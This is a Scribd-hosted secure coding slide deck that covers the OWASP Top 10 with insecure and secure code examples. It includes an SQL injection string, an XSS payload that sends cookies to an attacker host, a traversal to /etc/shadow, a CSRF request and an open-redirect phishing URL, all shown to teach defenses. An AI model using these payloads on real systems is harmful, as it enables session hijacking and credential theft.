0% found this document useful (0 votes)
54 views

Puru - Secure Coding Best Practices

The document discusses secure coding practices and securing applications from vulnerabilities. It covers topics like the likelihood of vulnerabilities, the OWASP Top 10 risks, and provides examples of insecure code that could lead to SQL injection. It also discusses secure development practices and defenses like using prepared statements and input validation.

Uploaded by

vindya.patankar
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
54 views

Puru - Secure Coding Best Practices

The document discusses secure coding practices and securing applications from vulnerabilities. It covers topics like the likelihood of vulnerabilities, the OWASP Top 10 risks, and provides examples of insecure code that could lead to SQL injection. It also discusses secure development practices and defenses like using prepared statements and input validation.

Uploaded by

vindya.patankar
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 66

Secure Coding Practices

Agenda

• Goal

• Key takeaways from this session

• Likelihood of vulnerabilities

• Vulnerability distribution

• 6 Pillars of Information Security

• Security Testing Taxonomy

• OWASP Top 10

• Global Best Practices

• References and further reading


Goal

• Reduce vulnerabilities resulting from coding errors

• Identify common insecure input validation programming errors that lead to XSS

• Establish secure coding standards

• Help developers to understand and incorporate secure coding practices


Key Takeaways

At the end of the session we’ll understand:

• Importance of secure coding

• Impact of insecure coding

• Recommendation(s) for top 10 security issues

• Secure coding – Developer Checklist

• Secure coding references


Likelihood of Vulnerabilities

Source: http://photos1.blogger.com/x/blogger2/1912/1679/1600/379195/whitehat_security_top_10.png
Vulnerability Distribution

• A huge percentage (35%) of security problems are due to missing controls – like
applications that simply don’t do output encoding, or that don’t encrypt sensitive
data, or fail to use parameterized database queries.

• So simply by making the right security controls available in an application, you


can eliminate quite a lot of vulnerabilities.
What is usually stolen

• Credit Card Numbers


• Social Security Numbers
• Proprietary Information
• Employee Information
• Email Addresses
• Phone Numbers
• Physical Address
• Login Credentials

http://www.informationisbeautiful.net/visualizations/worlds-biggest-data-breaches-hacks/
Security Testing Framework and
Methodology

Threat
Model
Assessment

Network /
Host Static
Penetration Analysis
Testing Security
Testing Methodology

Business Logic
Security
Testing
Manual
Dynamic
Penetration
Testing
Testing
8
6 Pillars of Information Security
Basic of Internet Security
Security Testing Taxonomy

• Below are the some of the popular taxonomy in security:

• Vulnerability
• Risk
• Likelihood
• Impact
• Severity
• False Positive
• False Negative
Security Testing Taxonomy

• Vulnerability:
Vulnerability is a cyber-security term that refers to a flaw in a system/application that can
leave it open to attack. A vulnerability may also refer to any type of weakness in a computer
system/application itself, in a set of procedures, or in anything that leaves information security
exposed to a threat.

• Risk:
A security risk is any event that could result in the compromise of organizational assets i.e. the
unauthorized use, loss, damage, disclosure or modification of organizational assets. Risk can
be classified based on below formulae
Risk = Likelihood x Impact
Security Testing Taxonomy

• Likelihood:
Likelihood is a rough measure of how likely this particular vulnerability is to be uncovered
and exploited by an attacker.

• Impact:
The impact type of vulnerability describes the type of harm an attack could cause if the
vulnerability were exploited.
o There are three types of impact:
• Loss of Confidentiality
• Loss of Integrity
• Loss of Availability
Security Testing Taxonomy

• Severity:
In this step the likelihood estimate and the impact estimate are put together to calculate an
overall severity for this risk. This is done by figuring out whether the likelihood is low,
medium, or high and then do the same for impact.

• False Positive:
False Positive is any normal or expected behavior that is identified as security vulnerability.

• False Negative:
False Negative is any alert that should have happened but didn't.
In other words, The inability of a tool to identify a potential vulnerability.
Vulnerabilities, Where do they
come from?

Below are the some of the sources from which vulnerability occurs:
• Flaw in software
• Faulty configuration
• Weak passwords
• Insecure coding practices
• Human error
o Inappropriately assigned permission levels
o system inappropriately placed in infrastructure/environment.
• Vulnerabilities doesn’t go away by themselves.
Information Gathering
- Before hacking

Domain Privacy and Security

• Most attackers get started by looking up email ID / contact details of


admins from whois service (www.who.is)
• Domain privacy is an option to prevent listing on whois database

Footprinting Domain details

Attackers can use various website to get server uptime, when was a site
updated, location, IP etc using tools below..

Netcraft.com - labs
Google Hacking
• Popularized by johnny.ihackstuff.com
• Uses Google search engine and advanced query abilities to find insecure data files and misconfigured
/ unpatched servers indexed on the Web
• Wikto (Sensepost) or SiteDigger (Foundstone) - free tools used along with ihackstuff’s Google Hack
Database to see if anything from your domain is indexed
Google Hacking Demo
"admin account info" filetype:log
Preventing Site Crawling -
Robots.txt

Robots.txt files are the first place hackers look

• Robots.txt is web accessible and contains URLs you don’t want indexed
by a search engine. This might be the kind of data hackers want

• Use access controls instead


Security Development Lifecycle
A1 - Injection

• Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted
data is sent to an interpreter as part of a command or query.

• The attacker’s hostile data can trick the interpreter into executing unintended
commands or accessing unauthorized data.
A1 - Injection - Example

Example Attack Scenario:


• The application uses untrusted data in the construction of the following
vulnerable SQL call:
String query = "SELECT * FROM accounts WHERE custID='" +
request.getParameter("id") +"'";
• The attacker modifies the ‘id’ parameter in their browser to send: ' OR 1=1--. This
changes the meaning of the query to return all the records from the accounts
database, instead of only the intended customer’s.
http://example.com/app/accountView?id=' OR 1=1--
• In the worst case, the attacker uses this weakness to invoke special stored
procedures in the database, allowing a complete takeover of the database host.

Time for a demo:


Database enumeration through SQL Injection:
A1 - Injection - Insecure vs
Secure Code
Insecure SQL query - Example:
String query = "SELECT account_balance FROM user_data WHERE user_name = “
+ request.getParameter("customerName");

try {
Statement statement = connection.createStatement( … );
ResultSet results = statement.executeQuery( query );
}

Primary Defense Option 1: Prepared Statements (Parameterized Queries)

String custname = request.getParameter("customerName"); // This should REALLY be validated too

String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";

PreparedStatement pstmt = connection.prepareStatement( query );


pstmt.setString( 1, custname);

ResultSet results = pstmt.executeQuery( );


A1 - Injection - Insecure vs
Secure code

Primary Defense Option 3: Escape all user supplied inputs

Additional Defenses:

• Enforce least privilege

• Perform whitelist input validation


A1 - Injection - Cheat Sheet
OWASP TOP 10

A2 – Broken Authentication
&
Session Management
A2 - Broken Authentication &
Session Management
You are vulnerable if:
• User credentials and session ID’s are sent over unencrypted channel and aren’t
protected when stored using hashing or encryption.
• Credentials can be guessed or overwritten through weak account management
functions
• Session IDs are exposed in the URL (e.g., URL rewriting).
• Session IDs are vulnerable to session fixation attacks.
• Inadequate session time-out.
• Session IDs aren’t rotated after successful login.
A2 - Broken Authentication & Session
Management - Prevention

• Implement a decent audit logging for authentication and authorization controls.


You must be able to answer the following questions:
• Who logged on?
• When?
• From where?
• What transactions did the user start?
• What data was accessed?

• Do not accept new, preset or invalid session identifiers from the URL or in the
request. This is called a session fixation attack
• Implement a strong password policy when allowing passwords.
• Do not allow the login process to start from an unencrypted page.
• Consider Regenerating a new session upon successful authentication or privilege
level change.
• Use a timeout period.
A2 - Broken Authentication & Session
Management - Prevention
• Do not expose any session identifiers or any portion of valid credentials in URLs
or logs (no session rewriting or storing the user’s password in log files)

• Require the user to enter the old password when the user changes to a new
password

• Add a security constraint in web.xml for every URL that requires HTTPS:
<security-constraint>

<web-resource-collection>

<web-resource-name>Pages requiring HTTPS</web-resource-name>

<url-pattern>/profile</url-pattern>

<url-pattern>/register</url-pattern>

<url-pattern>/password-login</url-pattern>

</web-resource-collection>

<user-data-constraint>

<transport-guarantee>CONFIDENTIAL</transport-guarantee>

</user-data-constraint>

</security-constraint>
OWASP TOP 10

A3 – Cross Site Scripting(XSS)


Cross Site Scripting (XSS)
• Cross Site Scripting, better known as XSS

• XSS flaws occur whenever an application takes data that originated from a user
and sends it to a web browser without first validating or encoding that content.

• XSS allows attackers to execute script in the victim’s browser, which can
• Hijack user sessions
• Deface web sites
• Insert hostile content
• Conduct phishing attacks
Types of XSS

Cross Site Scripting can be classified into three major categories:

• Stored XSS

• Reflected XSS

• DOM-based XSS
XSS Example

Example Attack Scenario:

• The application uses untrusted data in the construction of the following HTML
snippet without validation or escaping:
(String) page += "<input name='creditcard' type='TEXT‘ value='" +
request.getParameter("CC") + "'>";

• The attacker modifies the ‘CC’ parameter in their browser to:


'><script>document.location='http://www.attacker.com/cgi-
bin/cookie.cgi?'%20+document.cookie</script>

• This causes the victim’s session ID to be sent to the attacker’s website,


allowing the attacker to hijack the user’s current session.
XSS Example

Request:

POST /sso/servlet/login HTTP/1.1


Host: http://example.com/
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101
Firefox/36.0
**Truncated**
Referer: http://example.com/en/console

username=purushothaman&pass=*************&status=available&redirect=https://examp
le.com/en/console&s=breeze&password=QgxPIED5E5ZpRx8/bwiSEg%3D%3D&ct=14
24253374480&locale=en_US
XSS Example

Request:

POST /sso/servlet/login HTTP/1.1


Host: http://example.com/
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
**Truncated**
Referer: http://example.com/en/console

username=purushothaman&pass=*************&status=available&redirect=<script>alert(document.cookie)</
script>https%3A%2F%2Ffanyv88.com%3A443%2Fhttps%2Fexample.com%2Fen%2Fconsole&s=breeze&password=QgxPIED5E5ZpRx8%2Fbwi
SEg%3D%3D&ct=1424253374480&locale=en_US

Response:

HTTP/1.1 400 Invalid redirect url : <script>alert(document.cookie)</script>https://example.com/en/console


Date: Wed, 18 Feb 2015 10:02:53 GMT

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">


<html><head>
<title>400 Invalid redirect url : <script>alert(document.cookie)</script>http://example.com/en/console</title>
</head><body>
<h1>Invalid redirect url : <script>alert(document.cookie)</script>http://example.com/en/console</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
</body></html>
XSS Example
XSS Prevention

• The best protection for XSS is a combination of "whitelist" validation of all


incoming data and appropriate “encoding” of all output data.

• Input validation: Use an "accept known good" validation strategy

• Strong output encoding: Ensure that all user-supplied data is appropriately


entity encoded (either HTML or XML depending on the output mechanism)
before rendering

• Specify the output encoding (such as ISO 8859-1 or UTF 8). Do not allow the
attacker to choose this for our users
OWASP TOP 10

A4 – Insecure direct object


reference
A4 - Insecure Direct Object
Reference
• A direct object reference occurs when a developer exposes a reference to an internal implementation
object, such as a file, directory, database record, or key, as a URL or form parameter.

• An attacker can manipulate direct object references to access other objects without authorization, unless
an access control check is in place.

For instance, if the attacker notices the URL: http://misc-security.com/file.jsp?file=report.txt

The attacker could modify the file parameter using a directory traversal attack. He modifies the URL to:
http://misc-security.com/file.jsp?file=../../../etc/shadow
A4 - Insecure Direct Object
Reference - Example
Attack Scenario:

• The application uses unverified data in a SQL call that is accessing account
information:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , … );
pstmt.setString( 1, request.getparameter("acct"));
ResultSet results = pstmt.executeQuery( );

• The attacker simply modifies the ‘acct’ parameter in their browser to send
whatever account number they want. If not verified, the attacker can access any
user’s account, instead of only the intended customer’s.
http://example.com/app/accountInfo?acct=notmyacct

Time for a demo:

Local file inclusion using (insecure) direct object reference:


A4 - Insecure Direct Object
Reference - Prevention

Preventing insecure direct object references requires selecting an approach for protecting
each user accessible object (e.g., object number, filename).

• Use indirect object references: This prevents attackers from directly targeting
unauthorized resources.
• Check access: Each use of a direct object reference from an untrusted source must
include an access control check to ensure the user is authorized for the requested
object.

Example:
A drop down list of six resources could use the numbers 1 to 6 to indicate which value the
user selected, instead of using the resource’s database key.

The application has to map the per-user indirect reference back to the actual database key
on the server.

• Verify authorization to all referenced objects


• Make sure that input does not contain attack patterns like ../ or %00
OWASP TOP 10

A5 – Security misconfiguration
A5 - Security Misconfiguration

Check your application if it is missing the proper security hardening across any part of the
application stack?

Including:
• Is any of your software out of date? This includes the OS, Web/App Server, DBMS,
applications, and all code libraries.
• Are any unnecessary features enabled or installed (e.g., ports, services, pages, accounts,
privileges)?
• Are default accounts and their passwords still enabled and unchanged?
• Does your error handling reveal stack traces or other overly informative error messages to
users?
A5 - Security Misconfiguration -
Example

Attack Scenario:

• Scenario #1: The app server admin console is automatically installed and not
removed. Default accounts aren’t changed. Attacker discovers the standard
admin pages are on your server, logs in with default passwords, and takes over.

• Scenario #2: Directory listing is not disabled on your server.

• Scenario #3: App server configuration allows stack traces to be returned to


users, potentially exposing underlying flaws. Attackers love the extra information
error messages provide.

• Scenario #4: App server comes with sample applications that are not removed
from your production server. Said sample applications have well known security
flaws attackers can use to compromise your server.
A5 - Security Misconfiguration -
Prevention

The primary recommendations are to establish:

• A repeatable hardening process that makes it fast and easy to deploy another
environment that is properly locked down
.
• Turn off all unnecessary features by default

• Remove default passwords

• Always use secure connection when authenticating users

• A strong application architecture that provides effective, secure separation


between components
.
• Consider running scans and doing audits periodically to help detect future
misconfigurations or missing patches.
OWASP TOP 10

A6 – Sensitive Data Exposure


A6 - Sensitive Data Exposure

Applications can unintentionally leak information about their configuration, internal


workings, or violate privacy through a variety of application problems. Attackers use
this weakness to steal sensitive data or conduct more serious attacks.
A6 - Sensitive Data Exposure
Prevention

• Ensure sensitive responses with multiple outcomes return identical results

• Save the different responses and diff the html, the http headers & URL.

• Ensure error messages are returned in roughly the same time or consider
imposing a random wait time for all transactions to hide this detail from the
attacker.

• Do not show sensitive information when an user generates an error.


OWASP TOP 10

A7 – Missing Function Level Access


A7 - Missing Function Level
Access

• If the authentication check in sensitive request handlers is insufficient or


non-existent the vulnerability can be categorized as Missing Function Level
Access Control.

• Example Attack Scenarios

Below URL might be accessible to an authenticated user


http://website.com/app/standarduserpage

A NON Admin user is able to access admin page without authorization.


http://website.com/app/admin_page
A7 - Missing Function Level
Access Prevention

• An application should have a consistent and easy to analyze authorization


module that is invoked from all of your business functions.

• The authentication mechanism should deny all access by default, and provide
access to specific roles for every function
OWASP TOP 10

A8 – Cross Site Request Forgery


(CSRF)
A8 - Cross Site Request Forgery
(CSRF)

CSRF attack forces a logged-on victim’s browser to send a pre-authenticated


request to a vulnerable web application, which then forces the victim’s browser
to perform a hostile action to the benefit of the attacker.

CSRF can be as powerful as the web application that it attacks.


A8 - Cross Site Request Forgery
(CSRF)

Applications are vulnerable if the following conditions are present:

• There is no way to re-verify authorization of action

• The default login / password is sufficient to authorize action

• Action is authorized based solely on credentials which are automatically


submitted by the browser such as session cookie, Kerberos token, basic
authentication, or SSL certificate, etc.
A8 - CSRF Example

Request:

POST /m/index.php?page=register.php HTTP/1.1


Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/m/index.php?page=register.php
Cookie: showhints=1; PHPSESSID=g9abfga4ca5rttafkal203u3p3
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 140

csrf-token=&username=Purushotham&password=xxxxxx&confirm_password=xxxxxx&my_signature=test&register-php-
submit-button=Create+Account

Response:

HTTP/1.1 200 OK
Date: Sat, 23 Jul 2016 16:17:37 GMT
Server: Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.5.28
X-Powered-By: PHP/5.5.28
Logged-In-User:
Connection: close
Content-Type: text/html
Content-Length: 49406
A8 - CSRF Example
A8 - CSRF Prevention

Eliminate Cross Site Scripting vulnerabilities:

• Not all CSRF attacks require XSS


• However XSS is a major channel for delivery of CSRF attacks

Generate unique random tokens for each form or URL, which are not automatically
transmitted by the browser.

Do not allow GET requests for sensitive actions.

For sensitive actions, re-authenticate or digitally sign the transaction.


OWASP TOP 10

A9 – Using Components with


Known Vulnerabilities
A9 - Using Components with
Known Vulnerabilities

In theory, it ought to be easy to figure out if you are currently using any vulnerable
components or libraries. Unfortunately, vulnerability reports for commercial or open
source software do not always specify exactly which versions of a component are
vulnerable in a standard, searchable way. Further, not all libraries use an
understandable version numbering system.
A9 - Using Components with
Known Vulnerabilities

In theory, it ought to be easy to figure out if you are currently using any vulnerable
components or libraries. Unfortunately, vulnerability reports for commercial or open
source software do not always specify exactly which versions of a component are
vulnerable in a standard, searchable way. Further, not all libraries use an
understandable version numbering system.
A9 - Using Components with Known
Vulnerabilities Prevention

• Identify all components and the versions you are using, including all
dependencies. (e.g., the versions plugin).

• Monitor the security of these components in public databases, project mailing


lists, and security mailing lists, and keep them up to date.

• Establish security policies governing component use, such as requiring certain


software development practices, passing security tests, and acceptable
licenses.

• Where appropriate, consider adding security wrappers around components to


disable unused functionality and/ or secure weak or vulnerable aspects of the
component.
OWASP TOP 10

A10 – Unvalidated Redirects


&
Forwards
A10 - Unvalidated Redirects &
Forwards
What is Unvalidated Redirects and Forwards?

It is dangerous because it can lead a user to phishing and malware websites.


An attacker can take the advantage of redirects and trick the victim to click on a
link. The user will most likely click on it because the link seems to be valid.

http://website.com/cgi-bin/redirect.cgi?url=attack.com
http://website.com/login?url=website.com

Example:

If a web application is vulnerable then an attacker sends an email to the user


like you have received an email to purchase something with a low rate and a
URL like:

http://www.amazon.com/Application-Development-Graph-
Cookbook/dp?url=http://www.phishing.com

So an attacker can easily use phishing technique to steal the confidential


information of the user.
A10 - Unvalidated Redirects &
Forwards Prevention

• It is recommended that any such destination input be mapped to a value,


rather than the actual URL or portion of the URL, and that server side code
translate this value to the target URL.

• For example use redirect.aspx?url=1 instead, and in the script,


translate ID 1 to some URL using a map, database lookup, or
whatever you find useful.

• Whitelist the domain where the user needs to be redirected


HCL Secure Coding

Any questions or
clarifications?

You might also like